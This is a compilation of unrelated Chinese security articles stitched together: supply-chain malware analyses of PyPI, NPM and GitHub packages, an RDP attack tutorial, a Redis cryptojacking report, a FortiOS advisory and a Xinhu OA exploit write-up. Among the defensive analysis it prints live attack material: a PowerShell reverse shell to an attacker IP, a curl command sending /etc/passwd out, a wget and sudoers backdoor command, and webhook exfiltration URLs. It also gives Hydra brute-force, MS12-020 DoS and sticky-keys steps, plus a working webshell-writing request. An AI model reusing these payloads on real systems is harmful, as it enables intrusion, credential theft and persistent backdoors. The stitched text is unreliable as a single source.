根据requirements.txt文件中发现的恶意域名，目前在GitHub中有多个项目引用了经过攻击者恶意篡改的模块，相关账号可能都是由同一批攻击者所创建。 图 3‑3引用经过攻击者恶意篡改模块的相关GitHub项目 攻击者用于托管载荷的域名于2024年2月份注册，表明这是一起刚开始进行的攻击活动。 图 3‑4攻击者使用域名的注册时间 在多个恶意GitHub项目中存在攻击者修改requirements.txt文件的痕迹。分析时已无法获取到该URL中的colorama-0.4.3.tar.gz，不能判断该文件是否恶意。 图 3‑5攻击者修改requirements.txt的痕迹 此外，在窃密木马文件中存在多处葡萄牙语痕迹，表明攻击者可能位于葡语系国家或地区。 图 3‑6攻击者在窃密木马文件中使用葡萄牙语进行输出 窃密木马窃取文件的关键词列表中存在几处法语，表明攻击者可能更加针对法语用户。 图 3‑7窃密文件中的法语痕迹 4 样本分析 4.1 经过攻击者篡改的colorama模块 colorama是一个开源的Python模块，能够提供彩色的终端文本。攻击者在其__init__.py文件中，通过463个空格将恶意代码掩藏在第5行末尾，然后将篡改的colorama模块重新打包并托管于搭建的服务器中。由于__init__.py文件用于定义包的初始化代码，因此当用户导入该包时会自动执行其中的恶意代码。该恶意代码用于从攻击者服务器中接收“version”文件中的内容并执行。 图 4‑1攻击者掩藏的恶意代码 4.2 version “version”文件中的代码使用Fernet算法，通过攻击者自定义的密钥对代码进行解密，然后对解密的代码进行执行。 图 4‑2执行通过Fernet算法进行加解密的代码 解密后的代码访问指定的URL，将“inj”文件内容写入临时文件中，并通过python执行。 图 4‑3获取“inj”文件内容并执行 4.3 inj 该文件是一个Python脚本，攻击者使用中文、日文对变量及函数等进行命名，并且对代码进行了混淆处理。 图 4‑4 inj文件内容 攻击者同样通过空格对关键代码进行掩藏，经解混淆处理后发现，该脚本的作用是使用zlib解压出下一阶段的代码并进行执行。 图 4‑5经过zlib压缩的代码 4.4 经过zlib解压的代码 该代码使用Python编写，其作用是在%APPDATA、%LOCALAPPDATA%、%TEMP%中选取一个目录生成一个随机名称的文件，将从指定URL中获取的内容写入该文件中执行，通过注册表实现持久化，并向C2服务器回传受害主机的用户名称、IP信息等数据。 图 4‑6该代码的作用 4.5 窃密木马 4.5.1 窃密 经过以上多层载荷的传递，最终将执行一种使用Python编写的窃密木马。其窃密目标如下表所示。 表 4‑1窃密目标 浏览器 Opera Chrome Brave Vivaldi Edge Yandex Firefox 社交平台 Discord Telegram 加密货币钱包 Atomic Wallet Guarda Zcash Armory Bytecoin Exodus Binance Jaxx Electrum Coinomi 游戏客户端 Steam Riot Client 该窃密木马也会对目标路径中含有关键词的文件夹中的文件（最多7个）、以及含有关键词且大小小于500000字节（约488KiB）的文件进行窃取。目标路径及关键词如下表所示。 表 4‑2目标路径及关键词 目标路径 桌面 下载 文档 最近使用的项目 关键词 passw mdp motdepasse mot_de_passe login secret bot atomic account acount paypal banque bot metamask wallet crypto exodus ledger trezor hardware cold .dat discord 2fa code memo compte to0k3en backup secret seed mnemonic memoric private key passphrase pass phrase steal bank info casino prv privé prive telegram identifiant personnel trading bitcoin sauvegarde funds récupé recup note 4.5.2 回传 该窃密木马通过HTTP POST将窃取的数据回传至C2服务器中。 图 4‑7 HTTP POST回传方式 当该回传方式出错时，该窃密木马会将窃取的数据上传至文件共享平台Gofile，并将上传后形成的下载链接记录在“loggrab”文件中回传至C2服务器。 图 4‑8将数据上传至Gofile 5 防护建议 5.1 加强终端文件接收和执行防护 建议企业用户部署专业的终端安全防护产品，对本地新增和启动文件进行实时检测，并周期性进行网内病毒扫描。安天智甲终端安全系列产品（以下简称“智甲”）依托安天自研威胁检测引擎和内核级主动防御能力，可以有效查杀本次发现病毒样本。 智甲可对本地磁盘进行实时监测，对新增文件自动化进行病毒检测，对发现病毒可在其落地时第一时间发送告警并进行处置，避免恶意代码启动。 图 5‑1发现病毒时，智甲第一时间捕获并发送告警 智甲还为用户提供统一管理平台，管理员可通过平台集中查看网内威胁事件详情，并批量进行处置，提高终端安全运维效率。 图 5‑2通过智甲管理中心查看并完成威胁事件处置 6 IoCs IoCs 96B4C32AFE965529510A6430C2A7AAD3 150B3626C85EC5AF88B86C0D0E24736B 6580C4990E1E56A7D31A36FF1A0502FA DD9914573C751C4D8BE4BFE0519F9597 6573627FFC97CA6E82A238561C14A9E4 https[:]//files.pypihosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz https[:]//pypihosted.org 162.248.100[.]217

0x00 前言 在本文中，我们将讨论四种情况下的远程桌面渗透测试技巧方法。通过这种攻击方式，我们试图获取攻击者如何在不同情况下攻击目标系统，以及管理员在激活RDP服务时来抵御攻击时应采取哪些主要的防御手段。远程桌面协议（RDP）也称为“终端服务客户端”，是Microsoft开发的专有协议，为用户提供通过网络连接远程登录到另一台计算机的图形界面。RDP服务器内置于Windows操作系统中; 默认情况下，服务器监听TCP 端口3389。 0x01 RDP服务攻击 1.RDP暴力破解攻击 让我们开始吧！ 假设admin已允许其系统中的远程桌面服务进行本地网络连接。 1.1使用nmap扫描RDP 攻击者可以借助nmap来验证端口3389是否被打开。对于RDP渗透，我们还使用nmap来扫描目标系统（192.168.0.102）以获取开放式RDP的端口。 nmap -p 3389 192.168.0.102 如果允许远程桌面服务，则nmap将显示OPEN作为端口3389的状态，如下图所示： 1.2.对RDP进行暴力攻击 为了与RDP连接，我们总是需要登录凭证作为经过身份验证的连接。有效用户凭证可以输入它的用户名和密码，但无效用户（攻击者）无法猜出正确的登录凭据，因此需要通过暴力攻击来获取登录凭证。 我们正在使用hydra来展示对RDP进行暴力攻击。Hydra：它是一个并行登录破解程序，支持多种协议攻击。它非常快速灵活，新模块易于添加。在kali Linux中打开终端并输入以下命令： Hydra -v -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp：//192.168.0.102 从下面的截图中可以看到正确地获取到用户名：ignite和密码：123456，我们通过端口3389上的暴力攻击检索到。使用此凭据攻击者可以登录远程桌面服务。 2.扫描端口3389以进行DOS攻击 很多时候，为了确定主机是否容易受到RDP攻击，攻击者使用MS12-020检查来测试其漏洞。在kali Linux下的metasploit框架中打开命令终端，现在键入以下命令来扫描漏洞。 use auxiliary/scanner/rdp/ms12_020_check msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102 msf auxiliary(ms12_020_check) >set rport 3389 msf auxiliary(ms12_020_check) > exploit 从下列截图中可以看出目标是易受攻击的，现在你可以使用谷歌找到它的攻击漏洞的poc. 一旦攻击知道目标端口3389易受到MS12-020-攻击的漏洞，那么将尝试使用Ms12-020_maxchannelids进行攻击。这将对目标系统发起DOS攻击。 现在键入以下命令进行DOS攻击，这将导致目标系统蓝屏。 use auxiliary/dos/windows/rdp/ms12_020_maxchannelids msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102 msf auxiliary(ms12_020_maxchannelids) > set rhost 3389 msf auxiliary(ms12_020_maxchannelids) > exploit 从如下图所示中，可以看到目标是由于某些问题导致系统正在关闭。 DoS攻击执行者通常攻击以托管在诸如银行或信用卡支付网关等高端Web服务器上的站点或服务作为目标，通过暂时或无限期地中断连接Internet的主机服务，使其目标用户无法使用机器或网络资源。 3.在受害者PC中启用RDP 如果攻击者攻击了未启用RDP服务的受害者系统，则攻击者自己可以使用由Rapid 7在metasploit内部构建的后渗透模块来开启RDP服务。 现在要执行此操作，我们必须需要一个目标系统的反弹shell。从如下图所示中，您可以看到已经获取了目标系统的反弹shell. 这里我们获得了meterpreter的会话1，并通过bypass的会话2获得管理权限。 现在键入以下命令以生成后渗透反弹shell用以启用RDP服务 use post/windows/manage/enable_rdp msf post(enable_rdp) > sessions msf post(enable_rdp) >exploit 此模块可以将“sticky key”攻击应用于具有合适权限的会话中。该攻击提供了一种在RDP登录屏幕或UAC确认对话框中使用UI级别交互获取SYSTEM shell的方法。 use post/windows/manage/sticky_keys msf post(sticky_keys) > set sessions 2 msf post(sticky_keys) >exploit 现在使用以下命令连接远程桌面： rdesktop 192.168.0.102 它会要求提交登录凭据，但我们不知道，因此我们需要发起了上面的 stick key攻击，以便我们可以通过按照如下图所示的连续按5次shift键获取RDP 的命令终端。 4.另一种启用RDP的方法 当您已获取到受害主机系统的meterpreter会话后，启用RDP服务的命令以及选择的设置凭证。 Meterpreter> run getgui-e-u raaz-p 1234 从如下图所示中，你可以看到已经添加了用户名raaz与密码1234 可进入“远程桌面用户”和“管理员”的权限。现在您可以使用已创建的用户进行命令登录，命令如下： rdesktop 192.168.0.102 输入用户名raaz和密码1234用于登录 现在已成功远程登录系统。 0x02 RDP攻击防御 1.添加安全策略以防止暴力破解 管理员可以使用帐户锁定策略保护其网络免受暴力破解攻击。在安全设置 > 帐户策略 > 帐户锁定策略下配置以下策略： 帐户锁定持续时间：用于定义锁定帐户保持时间段的策略，直到自动解锁或由管理员重置。当用户超过帐户锁定阈值设置的登录尝试时，它将锁定帐户指定的时间。 帐户锁定阈值：定义失败登录尝试次数的策略，将在帐户锁定持续时间指定的某段时间内锁定帐户。它将允许最大数量指定尝试登录您的帐户。 被锁账户锁定计数器：用于定义登录尝试失败后必须经过的时间段的策略。重置时间必须小于或等于帐户锁定时间。 如下实例设置： 帐户锁定时间： 30分钟 帐户锁定阈值： 2次无效登录尝试 被锁帐户锁定计算器： 30分钟后 如果尝试次数大于 帐户锁定阈值，则攻击者可能会被锁定账户。 现在再次通过对端口3389进行暴力破解攻击来测试帐户锁定策略。 hydra -v -f -l ignite -P /root/Desktop/dict.txt rdp：//192.168.0.102 当攻击者检索用户名和密码时，肯定会使用它们进行登录，但正如您所看到的那样，尝试破解密码需要超过2次，因此根据设置的策略，帐户应该被锁定30分钟. 让我们通过登录远程桌面来验证它。 打开命令终端并输入“rdesktop 192.168.0.102”，当获得目标屏幕时，输入已爆破检索的用户名和密码。从如下截图中，您可以看到我们已经输入上面发现的用户名和密码 ignite: 123456 当攻击者提交您的凭据时，它会显示当前帐户已被锁定且无法登录的消息，如下图所示。它锁定用户的帐户 ignit 30分钟，因此管理员知道有人一直试图非法访问远程桌面。通过这种方式，我们可以防御暴力破解攻击，防止未经授权的访问。 2.端口修改 您可以在另一个端口上转发端口3389以提高系统的安全性，但要在窗口操作系统中通过注册表编辑器浏览以下位置。 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 从如下图所示中，您可以在右侧面板中看到端口号已被选中并单击它。 将端口从3389更改为特定端口号 您将获得一个编辑DWORD的窗口，可以在其中编辑32位值。默认情况下，它将显示d3d，它是3389的十六进制值。将3389值替换为您选择的另一个值（如3314），并选择十六进制作为基数，将3314转换为cf2。 从如下图所示，您可以看到端口3314现在被打开。 3.通过系统自带防火墙保护RDP 打开具有高级设置的防火墙的面板，然后进入其内对配置入站的远程桌面（TCP-In）配置，以通过在防火墙中设置进行一些更改来添加安全过滤器。 允许来自特定IP的流量 之后，它将打开一个窗口来更改其属性，单击范围选项。在这里，您将获得两个连接类型的面板，本地和远程 IP地址。 在远程IP地址中，为特定IP地址选择第二个选项，并输入要允许连接远程桌面服务的IP，如下图所示： 它将阻止来自其他IP的所有流量，并提高网络的安全性，以抵御任何类型的攻击。

概述 上周（2024年3月6号），悬镜供应链安全情报中心在Pypi官方仓库（https://pypi.org/）中捕获1起新的Py包投毒事件，Python组件tohoku-tus-iot-automation 从3月6号开始连续发布6个不同版本恶意包，其中多个版本恶意代码使用PyArmor进行加密混淆保护，这些恶意包主要针对Windows平台的Python开发者，除了会窃取系统基础信息和主流浏览器(Edge、Chrome)用户密码数据，还会远程下载木马程序植入到开发者系统中盗取系统密码。 python恶意组件 截至目前，恶意组件tohoku-tus-iot-automation在Pypi官方仓库上已被下载461次。 tohoku-tus-iot-automation恶意组件下载量 该恶意组件包在国内主流Pypi镜像源(清华大学、腾讯云等)仍可正常下载、安装该恶意包，因此潜在的受害者数量将会更多。 以国内清华大学镜像源为例，可通过以下命令测试安装该恶意组件包。 pip3 Install tohoku-tus-iot-automation -i https://pypi.tuna.tsinghua.edu.cn/simple 投毒分析 当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时，将自动触发执行组件包setup.py中的恶意攻击代码。setup.py被PyArmor加密混淆保护。 原始的恶意代码如下所示： 恶意代码主要包括4大攻击步骤： 收集系统信息 收集浏览器用户密码 远程下载执行窃密木马 数据盗取外传 Part1 收集系统信息 主要收集操作系统版本、处理器、网卡及IP数据、主机名、系统用户列表、系统进程列表等敏感信息。 系统信息收集功能 Part2 收集浏览器用户密码 从存储浏览器(Edge、Chrome)用户数据的SQLite3数据库文件中提取用户密码。 浏览器用户密码收集功能 Part3 远程下载执行窃密木马 恶意组件将从远程下载多个具有窃密功能的木马后门程序植入到受害者系统中，用于收集Discord账户数据以及Windows系统密码。 盗取Discord数据的木马 程序被伪装成png图片隐藏在代码托管平台SourceForge上。 https://sourceforge.net/projects/iot-automate/files/iotautomatelogo.png Discord窃密木马 盗取Windows系统密码主要由3个木马后门程序(k7841286.exe、k7841286.dll和readings.exe)负责。 远程下载执行窃密木马后门 通过程序逆向可知，k7841286.exe负责加载k7841286.dll，k7841286.dll负责启动真正具备系统密码盗取能力的木马程序readings.exe。 k7841286.dll启动窃密木马readings.exereadings.exe被多款杀毒引擎识别为gsecdump窃密木马，主要功能是盗取Windows系统密码。 Windows gsecdump窃密密码 Part4 数据盗取外传 在收集到系统信息、浏览器密码、Discord账户数据、Windows系统密码等敏感信息后，投毒者会将所有数据打包外传到Webhook接口。 https://discordapp.com/api/webhooks/1214145679094448168/vyrtZquc2ia5h7R3FtLno2_s7Lhz1MpBoUL-FA0YM4FhHu-vNxuQ2LJoET6kYW_GQ5fo Webhook数据外传功能 Part5 IoC数据 此次投毒组件包涉及的恶意文件和IoC数据如下所示： 排查方式 截至目前，该Python恶意组件包仍可从国内主流Pypi镜像源正常下载安装，国内Python开发者可根据恶意包信息和IoC数据通过以下方式进行快速排查是否安装或引用恶意组件包。 开发者可通过命令 pip show tohoku-tus-iot-automation 快速排查是否误安装或引用该恶意py组件包，若命令运行结果如下图所示，则代表系统已被安装该恶意组件，请尽快通过命令pip uninstall tohoku-tus-iot-automation -y 进行卸载，同时还需关闭系统网络并排查系统是否存在异常进程。 此外，开发者也可使用OpenSCA-cli，将受影响的组件包按如下示例保存为db.json文件（可参考总结中提到的组件包信息按格式增减），直接执行扫描命令（opensca-cli -db db.json -path ${project_path}），即可快速获知您的项目是否受到投毒包影响。 悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心，依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力，对全球数字供应链安全漏洞、投毒事件、组件风险等进行实时动态监测与溯源分析，为用户智能精准预警“与我有关”的数字供应链安全情报。

概述 悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库，结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获，发现大量的开源组件恶意包投毒攻击事件。在2024年2月份，悬镜供应链安全情报中心在NPM官方仓库（https://www.npmjs.com）和Pypi官方仓库（https://pypi.org）共捕获503个不同版本的恶意组件包，其中NPM仓库投毒占比89.46%， Pypi仓库投毒占比10.54%，NPM仓库依旧是开源组件包投毒的重灾区。 2024年2月份投毒包总量 2024年2月份投毒包每日统计 结合源代码分析、动态行为监控等方式，我们对2月份捕获的开源组件投毒包进行多维度分析，总结统计出主流的攻击方式和恶意行为标签。 投毒攻击方式主要包括： ·恶意文件执行 ·代码混淆执行 ·恶意文件下载 ·shell命令执行 ·恶意文件释放 其中，恶意文件执行是最常用的攻击方式（占比78.13%），其主要攻击流程是利用开源组件包管理器在安装组件包过程中利用自定义的恶意指令来加载并执行内置在组件包中的恶意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外，在组件安装包中直接嵌入恶意shell命令（占比8.87%）、恶意文件下载（占比4.28%）及恶意文件释放后执行也是投毒者惯用的攻击手法。为了逃避安全检测，部分恶意包使用了代码编码、加密及混淆（占比7.61%）等方式进行恶意代码隐藏。 攻击方式统计 在所有投毒包的恶意行为中，窃取系统信息占比超过85%，信息窃取的主要目标是开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器Cookie等敏感数据。其次，远控木马和反向shell后门攻击紧随其后（两者之和占比约10%）。此外，在2月里捕获到多起盗取数字钱包客户端敏感数据的投毒攻击。值得一提的是，我们在NPM组件投毒中首次捕获到通过添加Linux系统后门账户进行远程控制的攻击手段。 恶意标签统计 投毒案例分析 本节将从2月份捕获的开源组件恶意包中精选部分具有代表性的投毒样本进行分析，还原投毒者的攻击方式和细节。 Part1 敏感信息窃取 Python恶意包djanggo利用包名错误拼写(typo-squatting)来伪装成知名Python WEB组件django，以此迷惑混淆Python开发者误安装该恶意包。 知名Python组件django djanggo恶意包通过在安装文件setup.py中重定义cmdclass install及egg_info实现在安装时自动触发执行恶意函数RunCommand()。 RunCommand()函数内部通过subprocess模块调用Linux系命令curl将当前系统环境变量、进程列表等信息通过HTTP POST外传到攻击者服务器上。 此外，多个NPM恶意组件包(lib-comdig、bubble-dev)在安装过程中存在窃取系统密码文件的行为。以恶意包bubble-dev为例，其安装包的package.json文件中包含恶意shell命令： 攻击者尝试利用preinstall指令在NPM包安装前执行恶意命令将系统/etc/passwd密码文件及主机名等敏感信息外传到攻击者服务器上。 /usr/bin/curl --data '@/etc/passwd' $(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.netPart2系统后门账户 NPM恶意包browser-spoof在安装时会执行恶意代码index2.js, index2.js将从CDN服务器上拉取恶意bash文件sh.sh到受害者系统上执行。 bash恶意代码如下所示： wget -q https://ezstat.ru/29U6f5; sudo useradd -m -G sudo -s /bin/bash -p $(openssl passwd -1 ICEWATER) systst2 && echo "systst2 ALL=(ALL:ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers > /dev/null;先通过wget请求将受害者系统出网IP泄露给攻击者，接着利用useradd命令在系统中添加新的用户账户；最后使用tee命令将新用户账户添加到sudoers文件中，将新账户权限提升到sudo权限。 Part 3反向shell后门 攻击者通常在投毒组件包中直接内置反弹shell命令或者通过脚本语言特性将开发者系统shell反弹到攻击者服务器上，开发者一旦通过包管理器安装或加载投毒包时，反弹shell代码将自动执行，导致开发者系统被攻击者远程shell控制。 以Python恶意包isred为例，该投毒包目标针对Linux系统，攻击者在isred模块入口文件__init__.py中使用socket将受害者系统shell标准输入、输出重定向到攻击者服务器 (0.tcp.au.ngrok.io:16311)，从而实现对受害者系统的反向shell远控。 对于NPM仓库的ts-patch-moongoose恶意包，目标主要针对Windows系统，其恶意文件mongoose.js通过调用child_process模块执行base64编码的PowerShell恶意命令。 解码后的实际PowerShell代码如下所示： Start-Process $PSHOME\powershell.exe -ArgumentList {$cc4b3e0706be478095235bdbc5479fde = New'-Obje'ct System.Net.Sockets.TCPClient('84.77.69.69',4443);$4bdf71701e4e45a48bd66974a36d1fd8 = $cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98 = 0..65535|%{0};while(($i = $4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98, 0, $b72dd70b9b5c4635b410c3eda039db98.Length)) -ne 0){;$ff887d09535d46489582d67f05e7d60f = (Ne'w-Ob'ject -TypeName System.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0, $i);$e9f33eef377548fdb8e212aaecec6b47 = (iex $ff887d09535d46489582d67f05e7d60f 2>&1 | Out-String );$0e7cb537947a4905b36e36b8ef25f955 = $e9f33eef377548fdb8e212aaecec6b47 + 'PS ' + (p'w'd).Path + '> ';$986886c1059c495ebc37a28fa8735419 = ([text.encoding]::ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()} -WindowStyle Hidden恶意PowerShell代码通过System.Net.Sockets.TCPClient接口将Windows系统cmd shell反弹到攻击者控制的服务器端口84.77.69.69:4443上，从而达到对受害者系统进行远程shell后门控制。 Part4 远控木马 在2月份捕获的恶意样本中有多起针对Python知名HTTP客户端组件httpx、requests的投毒攻击（包括requests-sessions、requests-http、request-get、tls-session等）。这些恶意样本的攻击方式主要发生在包管理器安装或者恶意包加载时，恶意包中的恶意代码会触发执行并从攻击者的托管服务器上下载恶意程序到受害者系统上执行木马后门攻击。 以恶意包tls-session为例，其安装包内置了包含有恶意代码的SSL/TLS 客户端组件tls-client，tls-client在Pypi仓库上的周下载量超过3万。 Python组件tls-client下载量统计 组件包tls-session通过克隆tls-client v1.0.1版本项目代码，并在tls-client的__init__.py文件中植入base64编码的恶意代码。 base64代码解码后得到真实的攻击代码： 恶意代码从CDN服务器上下载恶意木马程序Built.exe保存到受害者系统上（SERPROFILE%\AppData\Local\explorer.exe），并伪装成Windows系统进程explorer.exe执行。 https://cdn.discordapp.com/attachments/1204168698395627610/1205543621294817332/Built.exe Built.exe已被多款杀毒引擎判定为木马 Part5 数字钱包窃密 NPM恶意包object-window-dtc主要目标是盗取Windows系统上Exodus数字钱包应用数据，其通过 JS代码混淆对恶意代码进行保护逃避检测，混淆代码如下所示： 去混淆后还原出核心恶意代码： 代码逻辑主要是遍历Exodus 数字钱包应用目录(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每个文件，并将每个文件内容通过HTTP POST方式外传到投毒者Discord Webhook接口上 。 https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3xPart6 BladeroidStealer盗号 2月28号，NPM开发者klewba32在官方仓库上进行Sniper系列投毒，当天连续投放snipersee、sniperser、sniperv1、sniperv2等恶意包。这些恶意包采用相同的恶意代码，主要目标是盗取开发者浏览器保存的登录凭证、主流社交平台账号session及用户数据、浏览器数字钱包插件账户数据、系统中任何包含常见密码口令关键字的敏感文件。 Sniper系列投毒包的核心恶意代码使用aes-256-cbc进行加密保护： 代码解密后可明显发现代码中存在多处涉及BladeroidStealer代号的相关内容。 BladeroidStealer主要功能函数列表如下所示： 以getCookiesAndSendWebhook()函数为例，其功能是从浏览器本地cookie文件中提取主流社区账号（instagram、tiktok、reddit、spotify）的sessionid。 提取到sessionid后，会进一步使用sessionid从官方接口拉取详细的用户信息。以TikTok为例，stealTikTokSession() 函数负责盗取TikTok用户数据、浏览记录以及支付账户等敏感信息。 盗取的账户数据最终发送到攻击者Webhook接口上(https://Bladeroid.xyz/webhooks/) 排查方式 截至目前，大部分恶意投毒包在国内主流镜像源中仍然可正常下载。针对文中分析的恶意投毒包，开发者可使用OpenSCA-cli，将受影响的组件包按如下示例保存为db.json文件（可参考总结中提到的组件包信息按格式增减），直接执行扫描命令（opensca-cli -db db.json -path ${project_path}），即可快速获知您的项目是否受到文中所披露的投毒包的影响。 总结 根据2024年2月份捕获的开源组件投毒统计数据以及分析报告来看，投毒攻击手法和目标呈现多样化趋势。NPM依旧是投毒者的重点目标，敏感数据窃取仍是主流攻击。 悬镜供应链安全情报中心将持续监测全网主流开源软件仓库，对潜在风险的开源组件包进行动态跟踪和溯源，实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

安全研究人员最新发现一起针对 Linux 主机上的 Redis 服务器的安全活动——威胁组织正使用名为“Migo”的恶意软件来挖掘加密货币。 Redis（远程字典服务器）是一种内存数据结构存储，用作数据库、缓存和消息代理，以其高性能而闻名，每秒为游戏、技术、金融服务等行业的实时应用程序提供数千个请求。 威胁组织通常利用暴露的和可能易受攻击的 Redis 服务器来劫持资源、窃取数据和实施其他恶意目的。 新的恶意软件的不同之处在于使用系统削弱命令来关闭 Redis 安全功能，从而允许加密劫持活动较长时间持续。 Migo 活动由云取证提供商 Cado Security的分析师所发现，他们在蜜罐中观察到攻击者使用 CLI 命令关闭保护配置并利用服务器。 关闭 Redis 防护罩 在暴露的 Redis 服务器受到攻击后，攻击者会禁用关键的安全功能，以允许接收后续命令并使副本可写。 Cado 表示，他们注意到攻击者通过 Redis CLI 禁用了以下配置选项： ·set protected-mode：禁用此选项将允许外部访问 Redis 服务器，从而使攻击者更容易远程执行恶意命令。 ·replica-read-only：关闭此功能使攻击者能够直接写入副本并在分布式 Redis 设置中传播恶意负载或数据修改。 ·aof-rewrite-incremental-fsync：禁用它可能会导致在仅追加文件 (AOF) 重写期间产生更重的 IO 负载，来帮助攻击者不被检测到。 ·rdb-save-incremental-fsync：关闭它可能会导致 RDB 快照保存期间性能下降，从而可能允许攻击者造成拒绝服务 (DoS) 或操纵持久性行为以获取优势。 观察命令执行 攻击者设置一个 cron 作业，从 Pastebin 下载脚本，该脚本从 Transfer.sh 检索 Migo 的主要负载 (/tmp/.migo) 以作为后台任务执行。 这是一个用 Go 编译的 UPX 打包的 ELD 二进制文件，具有编译时混淆功能以阻碍分析。 Migo 的主要功能是直接从 GitHub 的 CDN 在受感染的端点上获取、安装和启动修改后的 XMRig (Monero) 挖矿程序。 该恶意软件通过创建 systemd 服务和关联的计时器来为矿工建立持久性，确保其连续运行，以攻击者的帐户挖掘加密货币。 Migo 的 Linux 系统调用序列 Cado 报告称，Migo 使用用户模式 rootkit 来隐藏其进程和文件，从而使检测和删除变得复杂。 该恶意软件修改“/etc/ld.so.preload”以拦截和更改列出进程和文件的系统工具的行为，从而有效地隐藏其存在。 攻击结束时，Migo 设置防火墙规则来阻止某些 IP 的出站流量，并执行命令来禁用 SELinux、搜索并可能禁用云提供商监控代理，并删除竞争的矿工或有效负载。 它还操纵 /etc/hosts 以阻止与云服务提供商的通信，从而进一步隐藏其活动。 Migo 的攻击链表明，其背后的威胁组织对 Redis 环境和操作已有了深入了解。尽管加密劫持威胁并不太严重，但威胁组织却可以利用该访问权限来传递更危险的有效负载。

漏洞概述 漏洞类型 越界写入/远程命令执行 漏洞等级 高危 漏洞编号 CVE-2024-21762 漏洞评分 9.3 利用复杂度 低 影响版本 FortiOS & FortiProxy 利用方式 远程 POC/EXP 已公开 Fortinet FortiOS是美国飞塔（Fortinet）公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。在SSL VPN组件中存在越界写入漏洞，可能导致未经身份验证的远程威胁者通过特制HTTP请求执行任意命令或代码。 具体影响版本： FortiOS 7.4.0 - 7.4.2，7.2.0 - 7.2.6，7.0.0 - 7.0.13，6.4.0 - 6.4.14，6.2.0 - 6.2.15，6.0.0 - 6.0.17FortiProxy 7.4.0 - 7.4.2，7.2.0 - 7.2.8，7.0.0 - 7.0.14，2.0.0 - 2.0.13，1.2-1.0漏洞复现 daydaypoc漏洞平台于2024年3月12日已收录该漏洞。 以下链接可查看详情： https://www.ddpoc.com/DVB-2024-6401.html 解决方案 官方已修复该漏洞，受影响用户可升级到以下安全版本： FortiOS 7.4版升级至>=7.4.3 FortiOS 7.2版本升级至>=7.2.7 FortiOS 7.0版本升级至>= 7.0.14 FortiOS 6.4版本升级至>= 6.4.15 FortiOS 6.2版本升级至>= 6.2.16 FortiOS 6.0版本升级至>= 6.0.18 FortiProxy 7.4版本升级至>= 7.4.3 FortiProxy 7.2版本升级至> 7.2.9 FortiProxy 7.0版本升级至>= 7.0.15 FortiProxy 2.0版本升级至>= 2.0.14参考链接 https://fortiguard.com/psirt/FG-IR-24-015

0x01 前言 信呼OA是一款开源的OA系统，面向社会免费提供学习研究使用，采用PHP语言编写，搭建简单方便，在中小企业中具有较大的客户使用量。从公开的资产治理平台中匹配到目前互联中有超过1W+的客户使用案例。 信呼OA目前最新的版本是V2.6.2，发布时间是2023-12-22。作者整体上保持了较高的系统更频率，对历史爆出的安全问题也及时进行修复。目前网上能找到的信呼OA getshell的办法大多数是老版本或者是需要admin权限的，没有针对新版本进行getshell的思路。 0x02 步骤 本地搭建当前最新版的信呼OA系统V2.6.2，如下图所示。 使用普通OA用户登陆，信呼OA安装之后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户，密码都是123456。这里使用普通用户xiaoqiao登陆，然后构造下面的请求。 http://xinhu.test.com:8890/index.php?d=main&m=flow&a=copymode&ajaxbool=true POST:id=1&name=a{};phpinfo ();class a 生成的文件访问如下（以下两种方式均可）： http://xinhu.test.com:8890/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php http://xinhu.test.com:8890/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php 由于传递的参数值会被全部转化为小写字母（下一步的漏洞分析中会提到），导致我们不能在webshell中使用大写字母，所以并不能直接写一句话webshell。绕过方式是可以通过下面的方式来转化一下一句话木马。 http://xinhu.test.com:8890/index.php?d=main&m=flow&a=copymode&ajaxbool=true POST:id=1&name=a{};eval (strtoupper("eval (\$_request[1]);"));class a 运行之后访问下面的链接，由于链接中涉及到多个特殊字符，如果不清楚应该如何转义的请复制下面的链接。 http://xinhu.test.com:8890/webmain/flow/input/mode_a%7b%7d;eval%20(strtoupper(%22eval%20(%5c$_request%5b1%5d);%22));class%20aAction.php?1=echo%20md5(1); 0x03 分析 在webmain/main/flow/flowAction.php文件中，其中copymodeAjax接收外部用户传入的参数，如下图所示。 继续跟踪createtxt方法，如下所示，仅仅只是进行了文件写入操作，并没有进行过滤，导致任意文件写入漏洞。 原文链接 关注Beacon Tower Lab专栏

